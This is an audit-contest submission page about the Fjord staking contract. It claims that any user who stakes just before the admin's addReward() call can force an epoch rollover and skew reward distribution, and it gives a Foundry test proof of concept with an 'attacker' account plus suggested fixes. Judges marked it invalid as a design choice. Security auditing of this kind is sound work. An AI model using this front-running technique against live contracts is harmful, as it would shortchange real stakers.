DeFiFoundry
20,000 USDC
View results
Submission Details
Severity: medium
Invalid

Any user who front-runs the `addReward()` call will disrupt the rewards distributions.

Summary

Any user who front-runs the addReward() call will disrupt the rewards distributions.

Vulnerability Details

Each user interaction triggers the checkEpochRollover() modifier, which verifies if the current epoch has ended, calculates the rewards for the last epoch, and updates the total staked tokens with those from the past epoch.

This approach ensures that the epoch is always up-to-date and rewards are accurately calculated whenever a user makes a call. However, there is another function, addReward(), which can only be called by the Rewards Admin. This function transfers the tokens to be distributed to stakers from past epochs and checks if the epoch should be rolled over. According to the comments, this function should be the last action in the epoch and should trigger the rollover to prevent any further increase in the total staked amount. However, as mentioned earlier, any user interaction can also trigger the epoch rollover.

In summary, any user who front-runs the Rewards Admin's addReward() call when the epoch should be rolled over will cause incorrect rewards distribution in the subsequent epochs.

Impact

If a user front-runs the Rewards Admin's addReward() call, it will cause the epoch to roll over. This action will disrupt the accurate calculation and distribution of rewards for the last epoch. As a result, the rewards intended for stakers in the last epoch will be misallocated, leading to some users receiving less than their fair share of rewards.

PoC

// SPDX-License-Identifier: MIT
pragma solidity 0.8.21;
import "./FjordStakingBase.t.sol";
contract AuditPOC is FjordStakingBase {
function testAnyUserRollingOverEpochBreakTheRewardDistribution() public {
uint256 currentEpoch = fjordStaking.currentEpoch();
assertEq(currentEpoch, 1);
vm.startPrank(alice);
token.approve(address(fjordStaking), 10 ether);
fjordStaking.stake(1 ether);
vm.stopPrank();
assertEq(token.balanceOf(address(fjordStaking)), 1 ether); // Alice has staked 1 ether successfully
// Add reward and roll over the epoch
_addRewardAndEpochRollover(1 ether, 1);
currentEpoch = fjordStaking.currentEpoch();
assertEq(currentEpoch, 2);
//Bob stakes 1 ether
deal(address(token), bob, 1000 ether);
vm.startPrank(bob);
token.approve(address(fjordStaking), 1000 ether);
fjordStaking.stake(1 ether);
vm.stopPrank();
// Roll the time to be able to roll over the epoch
vm.warp(vm.getBlockTimestamp() + fjordStaking.epochDuration());
// Make attacker
address attacker = makeAddr("attacker");
deal(address(token), attacker, 1000 ether);
// Attacker stakes 1 wei and rolls over the epoch
vm.startPrank(attacker);
token.approve(address(fjordStaking), 1000 ether);
fjordStaking.stake(1);
vm.stopPrank();
currentEpoch = fjordStaking.currentEpoch();
assertEq(currentEpoch, 3);
// Admin adds the reward and tries to roll over, but the attacker has already rolled over the epoch
vm.prank(minter);
fjordStaking.addReward(1 ether);
// Do nothing the whole epoch
// Roll the time and add rewards
_addRewardAndEpochRollover(1 ether, 1);
currentEpoch = fjordStaking.currentEpoch();
assertEq(currentEpoch, 4);
// Trigger Bob and Alice redeem
(uint256 aliceTotalStaked,, uint256 aliceUnredeemedEpoch,) =
fjordStaking.userData(address(alice));
(uint256 bobTotalStaked,, uint256 bobUnredeemedEpoch,) = fjordStaking.userData(address(bob));
vm.prank(alice);
fjordStaking.stake(1 ether);
(, uint256 aliceUnclaimedRewards,,) = fjordStaking.userData(address(alice));
vm.prank(bob);
fjordStaking.stake(1 ether);
(, uint256 bobUnclaimedRewards,,) = fjordStaking.userData(address(alice));
assertEq(aliceTotalStaked, bobTotalStaked); // Same staked amount
assert(aliceUnredeemedEpoch < bobUnredeemedEpoch); // Alice has staked earlier than Bob => Alice must have more unredeemed rewards
assertEq(aliceUnclaimedRewards, bobUnclaimedRewards); // They have the same unclaimed rewards
}
}

Tools Used

Manual review, VS code

Recommendations

  1. Add reward to be called in the middle of the epoch, this will guarantee that at the end of it, the calculations about the rewards will be calcualted correctly.

  2. Only the addReward() function to be able to trigger the roll of an epoch. This is possible, because _redeem()(as most important) and all other functions are using the currentEpoch state variable which is only updated on epoch roll over.

Updates

Lead Judging Commences

inallhonesty Lead Judge
about 1 year ago
inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Invalidated
Reason: Design choice

Appeal created

dobrevaleri Submitter
about 1 year ago
inallhonesty Lead Judge
about 1 year ago
inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Invalidated
Reason: Design choice

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.